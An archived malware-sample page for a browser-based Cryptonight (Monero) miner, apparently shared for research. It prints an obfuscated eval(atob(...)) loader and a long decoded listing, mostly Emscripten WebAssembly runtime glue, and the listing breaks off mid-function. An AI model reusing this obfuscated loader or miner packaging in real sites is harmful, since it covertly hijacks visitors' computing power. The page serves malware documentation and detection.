Cryptonight currency miner WASM

By 262588213843476

Archived: 2026-04-05 21:49:16 UTC

Uploaded by @JohnLaTwC ## Sample hash: bd0984491d0c6b11162ddcec58bd660f0e779c8b399f153d160bb02fa72aadbc var a='dmFyIE1vZHVsZT17bG9jYXRlRmlsZTooZnVuY3Rpb24ocGF0aCl7cmV0dXJuIHBhdGh9KX07dmFyIE1vZHVsZTtpZighTW9kdWxlKU1vZHVsZ eval(atob(a)); ## decodes to: var Module = { locateFile: (function(path) { return path }) }; var Module; if (!Module) Module = (typeof Module !== "undefined" ? Module : null) || {}; var moduleOverrides = {}; for (var key in Module) { if (Module.hasOwnProperty(key)) { moduleOverrides[key] = Module[key] } } var ENVIRONMENT_IS_WEB = !1; var ENVIRONMENT_IS_WORKER = !1; var ENVIRONMENT_IS_NODE = !1; var ENVIRONMENT_IS_SHELL = !1; if (Module.ENVIRONMENT) { if (Module.ENVIRONMENT === "WEB") { ENVIRONMENT_IS_WEB = !0 } else if (Module.ENVIRONMENT === "WORKER") { ENVIRONMENT_IS_WORKER = !0 } else if (Module.ENVIRONMENT === "NODE") { ENVIRONMENT_IS_NODE = !0 } else if (Module.ENVIRONMENT === "SHELL") { ENVIRONMENT_IS_SHELL = !0 } else { throw new Error("The provided Module[\'ENVIRONMENT\'] value is not valid. It must be one of: WEB|WORKER|NODE|SHELL.") } } else { ENVIRONMENT_IS_WEB = typeof window === "object"; ENVIRONMENT_IS_WORKER = typeof importScripts === "function"; ENVIRONMENT_IS_NODE = typeof process === "object" && typeof require === "function" && !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_WORKER; ENVIRONMENT_IS_SHELL = !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_NODE && !ENVIRONMENT_IS_WORKER } if (ENVIRONMENT_IS_NODE) { if (!Module.print) Module.print = console.log; if (!Module.printErr) Module.printErr = console.warn; var nodeFS; var nodePath; Module.read = function shell_read(filename, binary) { if (!nodeFS) nodeFS = require("fs"); if (!nodePath) nodePath = require("path"); filename = nodePath.normalize(filename); var ret = nodeFS.readFileSync(filename); return binary ? ret : ret.toString() }; Module.readBinary = function readBinary(filename) { var ret = Module.read(filename, !0); if (!ret.buffer) { ret = new Uint8Array(ret) } assert(ret.buffer); return ret }; Module.load = function load(f) { globalEval(read(f)) }; if (!Module.thisProgram) { if (process.argv.length > 1) { Module.thisProgram = process.argv[1].replace(/\\\\/g, "/") } else { Module.thisProgram = "unknown-program" } } Module["arguments"] = process.argv.slice(2); if (typeof module !== "undefined") { module.exports = Module } process.on("uncaughtException", (function(ex) { if (!(ex instanceof ExitStatus)) { throw ex } })); Module.inspect = (function() { return "[Emscripten Module object]" }) } else if (ENVIRONMENT_IS_SHELL) { if (!Module.print) Module.print = print; if (typeof printErr != "undefined") Module.printErr = printErr; if (typeof read != "undefined") { Module.read = read } else { Module.read = function shell_read() { throw "no read() available" } } Module.readBinary = function readBinary(f) { if (typeof readbuffer === "function") { return new Uint8Array(readbuffer(f)) } var data = read(f, "binary"); assert(typeof data === "object"); return data }; if (typeof scriptArgs != "undefined") { Module["arguments"] = scriptArgs } else if (typeof arguments != "undefined") { Module["arguments"] = arguments } if (typeof quit === "function") { Module.quit = (function(status, toThrow) { quit(status) }) } } else if (ENVIRONMENT_IS_WEB || ENVIRONMENT_IS_WORKER) { Module.read = function shell_read(url) { var xhr = new XMLHttpRequest; xhr.open("GET", url, !1); xhr.send(null); return xhr.responseText }; if (ENVIRONMENT_IS_WORKER) { Module.readBinary = function readBinary(url) {} } Module.readAsync = function readAsync(url, onload, onerror) { console.log("reading async now?"); return; var xhr = new XMLHttpRequest; xhr.open("GET", url, !0); xhr.responseType = "arraybuffer"; xhr.onload = function xhr_onload() { if (xhr.status == 200 || xhr.status == 0 && xhr.response) { onload(xhr.response) } else { onerror() } }; xhr.onerror = onerror; xhr.send(null) }; if (typeof arguments != "undefined") { Module["arguments"] = arguments } if (typeof console !== "undefined") { if (!Module.print) Module.print = function shell_print(x) { console.log(x) }; if (!Module.printErr) Module.printErr = function shell_printErr(x) { console.warn(x) } } else { var TRY_USE_DUMP = !1; if (!Module.print) Module.print = TRY_USE_DUMP && typeof dump !== "undefined" ? (function(x) { dump(x) }) : (function(x) {}) } if (ENVIRONMENT_IS_WORKER) { Module.load = importScripts } if (typeof Module.setWindowTitle === "undefined") { Module.setWindowTitle = (function(title) { document.title = title }) } } else { throw "Unknown runtime environment. Where are we?" } function globalEval(x) { eval.call(null, x) } if (!Module.load && Module.read) { Module.load = function load(f) { globalEval(Module.read(f)) } } if (!Module.print) { Module.print = (function() {}) } if (!Module.printErr) { Module.printErr = Module.print } if (!Module["arguments"]) { Module["arguments"] = [] } if (!Module.thisProgram) { Module.thisProgram = "./this.program" } if (!Module.quit) { Module.quit = (function(status, toThrow) { throw toThrow }) } Module.print = Module.print; Module.printErr = Module.printErr; Module.preRun = []; Module.postRun = []; for (var key in moduleOverrides) { if (moduleOverrides.hasOwnProperty(key)) { Module[key] = moduleOverrides[key] } } moduleOverrides = undefined; var Runtime = { setTempRet0: (function(value) { tempRet0 = value; return value }), getTempRet0: (function() { return tempRet0 }), stackSave: (function() { return STACKTOP }), stackRestore: (function(stackTop) { STACKTOP = stackTop }), getNativeTypeSize: (function(type) { switch (type) { case "i1": case "i8": return 1; case "i16": return 2; case "i32": return 4; case "i64": return 8; case "float": return 4; case "double": return 8; default: { if (type[type.length - 1] === "*") { return Runtime.QUANTUM_SIZE } else if (type[0] === "i") { var bits = parseInt(type.substr(1)); assert(bits % 8 === 0); return bits / 8 } else { return 0 } } } }), getNativeFieldSize: (function(type) { return Math.max(Runtime.getNativeTypeSize(type), Runtime.QUANTUM_SIZE) }), STACK_ALIGN: 16, prepVararg: (function(ptr, type) { if (type === "double" || type === "i64") { if (ptr & 7) { assert((ptr & 7) === 4); ptr += 4 } } else {

```
assert((ptr & 3) === 0) } return ptr }), getAlignSize: (function(type, size, vararg) { if (!vararg && (type == "i64" || type == "double")) return 8; if (!type) return Math.min(size, 8); return Math.min(size || (type ? Runtime.getNativeFieldSize(type) : 0), Runtime.QUANTUM_SIZE) }), dynCall: (function(sig, ptr, args) { if (args && args.length) { return Module["dynCall_" + sig].apply(null, [ptr].concat(args)) } else { return Module["dynCall_" + sig].call(null, ptr) } }), functionPointers: [], addFunction: (function(func) { for (var i = 0; i < Runtime.functionPointers.length; i++) { if (!Runtime.functionPointers[i]) { Runtime.functionPointers[i] = func; return 2 * (1 + i) } } throw "Finished up all reserved function pointers. Use a higher value for RESERVED_FUNCTION_POINTERS." }), removeFunction: (function(index) { Runtime.functionPointers[(index - 2) / 2] = null }), warnOnce: (function(text) { if (!Runtime.warnOnce.shown) Runtime.warnOnce.shown = {}; if (!Runtime.warnOnce.shown[text]) { Runtime.warnOnce.shown[text] = 1; Module.printErr(text) } }), funcWrappers: {}, getFuncWrapper: (function(func, sig) { assert(sig); if (!Runtime.funcWrappers[sig]) { Runtime.funcWrappers[sig] = {} } var sigCache = Runtime.funcWrappers[sig]; if (!sigCache[func]) { if (sig.length === 1) { sigCache[func] = function dynCall_wrapper() { return Runtime.dynCall(sig, func) } } else if (sig.length === 2) { sigCache[func] = function dynCall_wrapper(arg) { return Runtime.dynCall(sig, func, [arg]) } } else { sigCache[func] = function dynCall_wrapper() { return Runtime.dynCall(sig, func, Array.prototype.slice.call(arguments)) } } } return sigCache[func] }), getCompilerSetting: (function(name) { throw "You must build with -s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or emscripten_get_compiler_setting to work" }), stackAlloc: (function(size) { var ret = STACKTOP; STACKTOP = STACKTOP + size | 0; STACKTOP = STACKTOP + 15 & -16; return ret }), staticAlloc: (function(size) { var ret = STATICTOP; STATICTOP = STATICTOP + size | 0; STATICTOP = STATICTOP + 15 & -16; return ret }), dynamicAlloc: (function(size) { var ret = HEAP32[DYNAMICTOP_PTR >> 2]; var end = (ret + size + 15 | 0) & -16; HEAP32[DYNAMICTOP_PTR >> 2] = end; if (end >= TOTAL_MEMORY) { var success = enlargeMemory(); if (!success) { HEAP32[DYNAMICTOP_PTR >> 2] = ret; return 0 } } return ret }), alignMemory: (function(size, quantum) { var ret = size = Math.ceil(size / (quantum ? quantum : 16)) * (quantum ? quantum : 16); return ret }), makeBigInt: (function(low, high, unsigned) { var ret = unsigned ? +(low >>> 0) + +(high >>> 0) * 4294967296 : +(low >>> 0) + +(high | 0) * 4294967296; return ret }), GLOBAL_BASE: 1024, QUANTUM_SIZE: 4, __dummy__: 0 }; Module.Runtime = Runtime; var ABORT = 0; var EXITSTATUS = 0; function assert(condition, text) { if (!condition) { abort("Assertion failed: " + text) } } function getCFunc(ident) { var func = Module["_" + ident]; if (!func) { try { func = eval("_" + ident) } catch (e) {} } assert(func, "Cannot call unknown function " + ident + " (perhaps LLVM optimizations or closure removed it?)"); return func } var cwrap, ccall; ((function() { var JSfuncs = { "stackSave": (function() { Runtime.stackSave() }), "stackRestore": (function() { Runtime.stackRestore() }), "arrayToC": (function(arr) { var ret = Runtime.stackAlloc(arr.length); writeArrayToMemory(arr, ret); return ret }), "stringToC": (function(str) { var ret = 0; if (str !== null && str !== undefined && str !== 0) { var len = (str.length << 2) + 1; ret = Runtime.stackAlloc(len); stringToUTF8(str, ret, len) } return ret }) }; var toC = { "string": JSfuncs.stringToC, "array": JSfuncs.arrayToC }; ccall = function ccallFunc(ident, returnType, argTypes, args, opts) { var func = getCFunc(ident); var cArgs = []; var stack = 0; if (args) { for (var i = 0; i < args.length; i++) { var converter = toC[argTypes[i]]; if (converter) { if (stack === 0) stack = Runtime.stackSave(); cArgs[i] = converter(args[i]) } else { cArgs[i] = args[i] } } } var ret = func.apply(null, cArgs); if (returnType === "string") ret = Pointer_stringify(ret); if (stack !== 0) { if (opts && opts.async) { EmterpreterAsync.asyncFinalizers.push((function() { Runtime.stackRestore(stack) })); return } Runtime.stackRestore(stack) } return ret }; var sourceRegex = /^function\\s*[a-zA-Z$_0-9]*\\s*\\(([^)]*)\\)\\s*{\\s*([^*]*?)[\\s;]*(?:return\\s*(.*?)[;\\s]*)?}$/; function parseJSFunc(jsfunc) { var parsed = jsfunc.toString().match(sourceRegex).slice(1); return { arguments: parsed[0], body: parsed[1], returnValue: parsed[2] } } var JSsource = null; function ensureJSsource() { if (!JSsource) { JSsource = {}; for (var fun in JSfuncs) { if (JSfuncs.hasOwnProperty(fun)) { JSsource[fun] = parseJSFunc(JSfuncs[fun]) } } } } cwrap = function cwrap(ident, returnType, argTypes) { argTypes = argTypes || []; var cfunc = getCFunc(ident); var numericArgs = argTypes.every((function(type) { return type === "number" })); var numericRet = returnType !== "string"; if (numericRet && numericArgs) { return cfunc } var argNames = argTypes.map((function(x, i) { return "$" + i })); var funcstr = "(function(" + argNames.join(",") + ") {"; var nargs = argTypes.length; if (!numericArgs) { ensureJSsource(); funcstr += "var stack = " + JSsource.stackSave.body + ";"; for (var i = 0; i < nargs; i++) { var arg = argNames[i], type = argTypes[i]; if (type === "number") continue; var convertCode = JSsource[type + "ToC"]; funcstr += "var " + convertCode.arguments + " = " + arg + ";"; funcstr += convertCode.body + ";"; funcstr += arg + "=(" + convertCode.returnValue + ");" } } var cfuncname = parseJSFunc((function() { return cfunc })).returnValue; funcstr += "var ret = " + cfuncname + "(" + argNames.join(",") + ");"; if (!numericRet) { var strgfy = parseJSFunc((function() { return Pointer_stringify })).returnValue; funcstr += "ret = " + strgfy + "(ret);" } if (!numericArgs) { ensureJSsource(); funcstr += JSsource.stackRestore.body.replace("()", "(stack)") + ";" } funcstr += "return ret})"; return eval(funcstr) } }))(); Module.ccall = ccall; Module.cwrap = cwrap; function setValue(ptr, value, type, noSafe) { type = type || "i8"; if (type.charAt(type.length - 1) === "*") type = "i32"; switch (type) { case "i1": HEAP8[ptr >> 0] = value; break; case "i8": HEAP8[ptr >> 0] = value; break; case "i16": HEAP16[ptr >> 1] = value; break; case "i32": HEAP32[ptr >> 2] = value; break; case "i64": tempI64 = [value >>> 0, (tempDouble = value, +Math_abs(tempDouble) >= 1 ? tempDouble > 0 ? (Math_min(+Math_floor(tempDouble / 4294967296), 4294967295) | 0) >>> 0 : ~~+Math_ceil((tempDouble - +(~~tempDouble >>> 0)) / 4294967296) >>> 0 : 0)], HEAP32[ptr >> 2] = tempI64[0], HEAP32[ptr + 4 >> 2] = tempI64[1]; break; case "float": HEAPF32[ptr >> 2] = value; break; case "double": HEAPF64[ptr >> 3] = value; break; default: abort("invalid type for setValue: " + type) } } Module.setValue = setValue; function getValue(ptr, type, noSafe) { type = type || "i8"; if (type.charAt(type.length - 1) === "*") type = "i32"; switch (type) { case "i1": return HEAP8[ptr >> 0]; case "i8": return HEAP8[ptr >> 0]; case "i16": return HEAP16[ptr >> 1]; case "i32": return HEAP32[ptr >> 2]; case "i64": return HEAP32[ptr >> 2]; case "float": return HEAPF32[ptr >> 2]; case "double": return HEAPF64[ptr >> 3]; default: abort("invalid type for setValue: " + type) } return null } Module.getValue = getValue; var ALLOC_NORMAL = 0; var
```

```
ALLOC_STACK = 1; var ALLOC_STATIC = 2; var ALLOC_DYNAMIC = 3; var ALLOC_NONE = 4;
Module.ALLOC_NORMAL = ALLOC_NORMAL; Module.ALLOC_STACK = ALLOC_STACK;
Module.ALLOC_STATIC = ALLOC_STATIC; Module.ALLOC_DYNAMIC = ALLOC_DYNAMIC;
Module.ALLOC_NONE = ALLOC_NONE; function allocate(slab, types, allocator, ptr) { var zeroinit, size; if (typeof slab
=== "number") { zeroinit = !0; size = slab } else { zeroinit = !1; size = slab.length } var singleType = typeof types ===
"string" ? types : null; var ret; if (allocator == ALLOC_NONE) { ret = ptr } else { ret = [typeof _malloc === "function" ?
_malloc : Runtime.staticAlloc, Runtime.stackAlloc, Runtime.staticAlloc, Runtime.dynamicAlloc][allocator === undefined ?
ALLOC_STATIC : allocator](Math.max(size, singleType ? 1 : types.length)) } if (zeroinit) { var ptr = ret, stop; assert((ret &
3) == 0); stop = ret + (size & ~3); for (; ptr < stop; ptr += 4) { HEAP32[ptr >> 2] = 0 } stop = ret + size; while (ptr < stop) {
HEAP8[ptr++ >> 0] = 0 } return ret } if (singleType === "i8") { if (slab.subarray || slab.slice) { HEAPU8.set(slab, ret) }
else { HEAPU8.set(new Uint8Array(slab), ret) } return ret } var i = 0, type, typeSize, previousType; while (i < size) { var
curr = slab[i]; if (typeof curr === "function") { curr = Runtime.getFunctionIndex(curr) } type = singleType || types[i]; if
(type === 0) { i++; continue } if (type == "i64") type = "i32"; setValue(ret + i, curr, type); if (previousType !== type) {
typeSize = Runtime.getNativeTypeSize(type); previousType = type } i += typeSize } return ret } Module.allocate = allocate;
function getMemory(size) { if (!staticSealed) return Runtime.staticAlloc(size); if (!runtimeInitialized) return
Runtime.dynamicAlloc(size); return _malloc(size) } Module.getMemory = getMemory; function Pointer_stringify(ptr,
length) { if (length === 0 || !ptr) return ""; var hasUtf = 0; var t; var i = 0; while (1) { t = HEAPU8[ptr + i >> 0]; hasUtf |= t;
if (t == 0 && !length) break; i++; if (length && i == length) break } if (!length) length = i; var ret = ""; if (hasUtf < 128) {
var MAX_CHUNK = 1024; var curr; while (length > 0) { curr = String.fromCharCode.apply(String, HEAPU8.subarray(ptr,
ptr + Math.min(length, MAX_CHUNK))); ret = ret ? ret + curr : curr; ptr += MAX_CHUNK; length -= MAX_CHUNK }
return ret } return Module.UTF8ToString(ptr) } Module.Pointer_stringify = Pointer_stringify; function AsciiToString(ptr) {
var str = ""; while (1) { var ch = HEAP8[ptr++ >> 0]; if (!ch) return str; str += String.fromCharCode(ch) } }
Module.AsciiToString = AsciiToString; function stringToAscii(str, outPtr) { return writeAsciiToMemory(str, outPtr, !1) }
Module.stringToAscii = stringToAscii; var UTF8Decoder = typeof TextDecoder !== "undefined" ? new TextDecoder("utf8")
: undefined; function UTF8ArrayToString(u8Array, idx) { var endPtr = idx; while (u8Array[endPtr]) ++endPtr; if (endPtr -
idx > 16 && u8Array.subarray && UTF8Decoder) { return UTF8Decoder.decode(u8Array.subarray(idx, endPtr)) } else {
var u0, u1, u2, u3, u4, u5; var str = ""; while (1) { u0 = u8Array[idx++]; if (!u0) return str; if (!(u0 & 128)) { str +=
String.fromCharCode(u0); continue } u1 = u8Array[idx++] & 63; if ((u0 & 224) == 192) { str += String.fromCharCode((u0
& 31) << 6 | u1); continue } u2 = u8Array[idx++] & 63; if ((u0 & 240) == 224) { u0 = (u0 & 15) << 12 | u1 << 6 | u2 } else
{ u3 = u8Array[idx++] & 63; if ((u0 & 248) == 240) { u0 = (u0 & 7) << 18 | u1 << 12 | u2 << 6 | u3 } else { u4 =
u8Array[idx++] & 63; if ((u0 & 252) == 248) { u0 = (u0 & 3) << 24 | u1 << 18 | u2 << 12 | u3 << 6 | u4 } else { u5 =
u8Array[idx++] & 63; u0 = (u0 & 1) << 30 | u1 << 24 | u2 << 18 | u3 << 12 | u4 << 6 | u5 } } } if (u0 < 65536) { str +=
String.fromCharCode(u0) } else { var ch = u0 - 65536; str += String.fromCharCode(55296 | ch >> 10, 56320 | ch & 1023) }
} } } Module.UTF8ArrayToString = UTF8ArrayToString; function UTF8ToString(ptr) { return
UTF8ArrayToString(HEAPU8, ptr) } Module.UTF8ToString = UTF8ToString; function stringToUTF8Array(str,
outU8Array, outIdx, maxBytesToWrite) { if (!(maxBytesToWrite > 0)) return 0; var startIdx = outIdx; var endIdx = outIdx +
maxBytesToWrite - 1; for (var i = 0; i < str.length; ++i) { var u = str.charCodeAt(i); if (u >= 55296 && u <= 57343) u =
65536 + ((u & 1023) << 10) | str.charCodeAt(++i) & 1023; if (u <= 127) { if (outIdx >= endIdx) break;
outU8Array[outIdx++] = u } else if (u <= 2047) { if (outIdx + 1 >= endIdx) break; outU8Array[outIdx++] = 192 | u >> 6;
outU8Array[outIdx++] = 128 | u & 63 } else if (u <= 65535) { if (outIdx + 2 >= endIdx) break; outU8Array[outIdx++] =
224 | u >> 12; outU8Array[outIdx++] = 128 | u >> 6 & 63; outU8Array[outIdx++] = 128 | u & 63 } else if (u <= 2097151) {
if (outIdx + 3 >= endIdx) break; outU8Array[outIdx++] = 240 | u >> 18; outU8Array[outIdx++] = 128 | u >> 12 & 63;
outU8Array[outIdx++] = 128 | u >> 6 & 63; outU8Array[outIdx++] = 128 | u & 63 } else if (u <= 67108863) { if (outIdx +
4 >= endIdx) break; outU8Array[outIdx++] = 248 | u >> 24; outU8Array[outIdx++] = 128 | u >> 18 & 63;
outU8Array[outIdx++] = 128 | u >> 12 & 63; outU8Array[outIdx++] = 128 | u >> 6 & 63; outU8Array[outIdx++] = 128 | u
& 63 } else { if (outIdx + 5 >= endIdx) break; outU8Array[outIdx++] = 252 | u >> 30; outU8Array[outIdx++] = 128 | u >>
24 & 63; outU8Array[outIdx++] = 128 | u >> 18 & 63; outU8Array[outIdx++] = 128 | u >> 12 & 63; outU8Array[outIdx++]
= 128 | u >> 6 & 63; outU8Array[outIdx++] = 128 | u & 63 } } outU8Array[outIdx] = 0; return outIdx - startIdx }
Module.stringToUTF8Array = stringToUTF8Array; function stringToUTF8(str, outPtr, maxBytesToWrite) { return
stringToUTF8Array(str, HEAPU8, outPtr, maxBytesToWrite) } Module.stringToUTF8 = stringToUTF8; function
lengthBytesUTF8(str) { var len = 0; for (var i = 0; i < str.length; ++i) { var u = str.charCodeAt(i); if (u >= 55296 && u <=
57343) u = 65536 + ((u & 1023) << 10) | str.charCodeAt(++i) & 1023; if (u <= 127) { ++len } else if (u <= 2047) { len += 2
} else if (u <= 65535) { len += 3 } else if (u <= 2097151) { len += 4 } else if (u <= 67108863) { len += 5 } else { len += 6 }
} return len } Module.lengthBytesUTF8 = lengthBytesUTF8; var UTF16Decoder = typeof TextDecoder !== "undefined" ?
new TextDecoder("utf-16le") : undefined; function demangle(func) { var __cxa_demangle_func =
Module.___cxa_demangle || Module.__cxa_demangle; if (__cxa_demangle_func) { try { var s = func.substr(1); var len =
lengthBytesUTF8(s) + 1; var buf = _malloc(len); stringToUTF8(s, buf, len); var status = _malloc(4); var ret =
__cxa_demangle_func(buf, 0, 0, status); if (getValue(status, "i32") === 0 && ret) { return Pointer_stringify(ret) } } catch
(e) {} finally { if (buf) _free(buf); if (status) _free(status); if (ret) _free(ret) } return func } Runtime.warnOnce("warning:
build with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling"); return func } function demangleAll(text) { var
regex = /__Z[\\w\\d_]+/g; return text.replace(regex, (function(x) { var y = demangle(x); return x === y ? x : x + " [" + y +
"]" })) } function jsStackTrace() { var err = new Error; if (!err.stack) { try { throw new Error(0) } catch (e) { err = e } if
(!err.stack) { return "(no stack trace available)" } } return err.stack.toString() } function stackTrace() { var js =
jsStackTrace(); if (Module.extraStackTrace) js += "\\n" + Module.extraStackTrace(); return demangleAll(js) }
```

Module.stackTrace = stackTrace; var WASM_PAGE_SIZE = 65536; var ASMJS_PAGE_SIZE = 16777216; function alignUp(x, multiple) { if (x % multiple > 0) { x += multiple - x % multiple } return x } var HEAP, buffer, HEAP8, HEAPU8, HEAP16, HEAPU16, HEAP32, HEAPU32, HEAPF32, HEAPF64; function updateGlobalBuffer(buf) { Module.buffer = buffer = buf } function updateGlobalBufferViews() { Module.HEAP8 = HEAP8 = new Int8Array(buffer); Module.HEAP16 = HEAP16 = new Int16Array(buffer); Module.HEAP32 = HEAP32 = new Int32Array(buffer); Module.HEAPU8 = HEAPU8 = new Uint8Array(buffer); Module.HEAPU16 = HEAPU16 = new Uint16Array(buffer); Module.HEAPU32 = HEAPU32 = new Uint32Array(buffer); Module.HEAPF32 = HEAPF32 = new Float32Array(buffer); Module.HEAPF64 = HEAPF64 = new Float64Array(buffer) } var STATIC_BASE, STATICTOP, staticSealed; var STACK_BASE, STACKTOP, STACK_MAX; var DYNAMIC_BASE, DYNAMICTOP_PTR; STATIC_BASE = STATICTOP = STACK_BASE = STACKTOP = STACK_MAX = DYNAMIC_BASE = DYNAMICTOP_PTR = 0; staticSealed = !1; function abortOnCannotGrowMemory() { abort("Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value " + TOTAL_MEMORY + ", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ") } function enlargeMemory() { abortOnCannotGrowMemory() } var TOTAL_STACK = Module.TOTAL_STACK || 5242880; var TOTAL_MEMORY = Module.TOTAL_MEMORY || 16777216; if (TOTAL_MEMORY < TOTAL_STACK) Module.printErr("TOTAL_MEMORY should be larger than TOTAL_STACK, was " + TOTAL_MEMORY + "! (TOTAL_STACK=" + TOTAL_STACK + ")"); if (Module.buffer) { buffer = Module.buffer } else { if (typeof WebAssembly === "object" && typeof WebAssembly.Memory === "function") { Module.wasmMemory = new WebAssembly.Memory({ "initial": TOTAL_MEMORY / WASM_PAGE_SIZE, "maximum": TOTAL_MEMORY / WASM_PAGE_SIZE }); buffer = Module.wasmMemory.buffer } else { buffer = new ArrayBuffer(TOTAL_MEMORY) } } updateGlobalBufferViews(); function getTotalMemory() { return TOTAL_MEMORY } HEAP32[0] = 1668509029; HEAP16[1] = 25459; if (HEAPU8[2] !== 115 || HEAPU8[3] !== 99) throw "Runtime error: expected the system to be little-endian!"; Module.HEAP = HEAP; Module.buffer = buffer; Module.HEAP8 = HEAP8; Module.HEAP16 = HEAP16; Module.HEAP32 = HEAP32; Module.HEAPU8 = HEAPU8; Module.HEAPU16 = HEAPU16; Module.HEAPU32 = HEAPU32; Module.HEAPF32 = HEAPF32; Module.HEAPF64 = HEAPF64; function callRuntimeCallbacks(callbacks) { while (callbacks.length > 0) { var callback = callbacks.shift(); if (typeof callback == "function") { callback(); continue } var func = callback.func; if (typeof func === "number") { if (callback.arg === undefined) { Module.dynCall_v(func) } else { Module.dynCall_vi(func, callback.arg) } } else { func(callback.arg === undefined ? null : callback.arg) } } } var __ATPRERUN__ = []; var __ATINIT__ = []; var __ATMAIN__ = []; var __ATEXIT__ = []; var __ATPOSTRUN__ = []; var runtimeInitialized = !1; var runtimeExited = !1; function preRun() { if (Module.preRun) { if (typeof Module.preRun == "function") Module.preRun = [Module.preRun]; while (Module.preRun.length) { addOnPreRun(Module.preRun.shift()) } } callRuntimeCallbacks(__ATPRERUN__) } function ensureInitRuntime() { if (runtimeInitialized) return; runtimeInitialized = !0; callRuntimeCallbacks(__ATINIT__) } function preMain() { callRuntimeCallbacks(__ATMAIN__) } function exitRuntime() { callRuntimeCallbacks(__ATEXIT__); runtimeExited = !0 } function postRun() { if (Module.postRun) { if (typeof Module.postRun == "function") Module.postRun = [Module.postRun]; while (Module.postRun.length) { addOnPostRun(Module.postRun.shift()) } } callRuntimeCallbacks(__ATPOSTRUN__) } function addOnPreRun(cb) { __ATPRERUN__.unshift(cb) } Module.addOnPreRun = addOnPreRun; function addOnInit(cb) { __ATINIT__.unshift(cb) } Module.addOnInit = addOnInit; function addOnPreMain(cb) { __ATMAIN__.unshift(cb) } Module.addOnPreMain = addOnPreMain; function addOnExit(cb) { __ATEXIT__.unshift(cb) } Module.addOnExit = addOnExit; function addOnPostRun(cb) { __ATPOSTRUN__.unshift(cb) } Module.addOnPostRun = addOnPostRun; function intArrayFromString(stringy, dontAddNull, length) { var len = length > 0 ? length : lengthBytesUTF8(stringy) + 1; var u8array = new Array(len); var numBytesWritten = stringToUTF8Array(stringy, u8array, 0, u8array.length); if (dontAddNull) u8array.length = numBytesWritten; return u8array } Module.intArrayFromString = intArrayFromString; function intArrayToString(array) { var ret = []; for (var i = 0; i < array.length; i++) { var chr = array[i]; if (chr > 255) { chr &= 255 } ret.push(String.fromCharCode(chr)) } return ret.join("") } Module.intArrayToString = intArrayToString; function writeStringToMemory(string, buffer, dontAddNull) { Runtime.warnOnce("writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!"); var lastChar, end; if (dontAddNull) { end = buffer + lengthBytesUTF8(string); lastChar = HEAP8[end] } stringToUTF8(string, buffer, Infinity); if (dontAddNull) HEAP8[end] = lastChar } Module.writeStringToMemory = writeStringToMemory; function writeArrayToMemory(array, buffer) { HEAP8.set(array, buffer) } Module.writeArrayToMemory = writeArrayToMemory; function writeAsciiToMemory(str, buffer, dontAddNull) { for (var i = 0; i < str.length; ++i) { HEAP8[buffer++ >> 0] = str.charCodeAt(i) } if (!dontAddNull) HEAP8[buffer >> 0] = 0 } Module.writeAsciiToMemory = writeAsciiToMemory; if (!Math.imul || Math.imul(4294967295, 5) !== -5) Math.imul = function imul(a, b) { var ah = a >>> 16; var al = a & 65535; var bh = b >>> 16; var bl = b & 65535; return al * bl + (ah * bl + al * bh << 16) | 0 }; Math.imul = Math.imul; if (!Math.fround) { var froundBuffer = new Float32Array(1); Math.fround = (function(x) { froundBuffer[0] = x; return froundBuffer[0] }) } Math.fround = Math.fround; if (!Math.clz32) Math.clz32 = (function(x) { x = x >>> 0; for (var i = 0; i < 32; i++) { if (x & 1 << 31 - i) return i } return 32 }); Math.clz32 = Math.clz32; if (!Math.trunc) Math.trunc = (function(x) { return x < 0 ? Math.ceil(x) : Math.floor(x) }); Math.trunc = Math.trunc; var Math_abs = Math.abs; var Math_cos = Math.cos; var Math_sin = Math.sin; var Math_tan = Math.tan; var Math_acos = Math.acos; var Math_asin = Math.asin; var Math_atan = Math.atan; var Math_atan2 = Math.atan2; var Math_exp = Math.exp; var Math_log = Math.log; var Math_sqrt = Math.sqrt; var Math_ceil = Math.ceil; var Math_floor = Math.floor; var Math_pow = Math.pow; var Math_imul = Math.imul; var Math_fround = Math.fround; var Math_round = Math.round; var Math_min = Math.min; var Math_clz32 = Math.clz32; var Math_trunc = Math.trunc; var runDependencies = 0; var runDependencyWatcher = null; var dependenciesFulfilled = null; function

```
getUniqueRunDependency(id) { return id } function addRunDependency(id) { runDependencies++; if
(Module.monitorRunDependencies) { Module.monitorRunDependencies(runDependencies) } }
Module.addRunDependency = addRunDependency; function removeRunDependency(id) { runDependencies--; if
(Module.monitorRunDependencies) { Module.monitorRunDependencies(runDependencies) } if (runDependencies == 0) {
if (runDependencyWatcher !== null) { clearInterval(runDependencyWatcher); runDependencyWatcher = null } if
(dependenciesFulfilled) { var callback = dependenciesFulfilled; dependenciesFulfilled = null; callback() } } }
Module.removeRunDependency = removeRunDependency; Module.preloadedImages = {}; Module.preloadedAudios = {};
var memoryInitializer = null; function integrateWasmJS(Module) { var method = Module.wasmJSMethod || "native-wasm";
Module.wasmJSMethod = method; var wasmTextFile = Module.wasmTextFile || "c.wast"; var wasmBinaryFile =
Module.wasmBinaryFile || "wasm.dat"; var asmjsCodeFile = Module.asmjsCodeFile || "cryptonight.temp.asm.js"; if (typeof
Module.locateFile === "function") { wasmTextFile = Module.locateFile(wasmTextFile); wasmBinaryFile =
Module.locateFile(wasmBinaryFile); asmjsCodeFile = Module.locateFile(asmjsCodeFile) } var wasmPageSize = 64 * 1024;
var asm2wasmImports = { "f64-rem": (function(x, y) { return x % y }), "f64-to-int": (function(x) { return x | 0 }), "i32s-
div": (function(x, y) { return (x | 0) / (y | 0) | 0 }), "i32u-div": (function(x, y) { return (x >>> 0) / (y >>> 0) >>> 0 }), "i32s-
rem": (function(x, y) { return (x | 0) % (y | 0) | 0 }), "i32u-rem": (function(x, y) { return (x >>> 0) % (y >>> 0) >>> 0 }),
"debugger": (function() { debugger }) }; var info = { "global": null, "env": null, "asm2wasm": asm2wasmImports, "parent":
Module }; var exports = null; function lookupImport(mod, base) { var lookup = info; if (mod.indexOf(".") < 0) { lookup =
(lookup || {})[mod] } else { var parts = mod.split("."); lookup = (lookup || {})[parts[0]]; lookup = (lookup || {})[parts[1]] } if
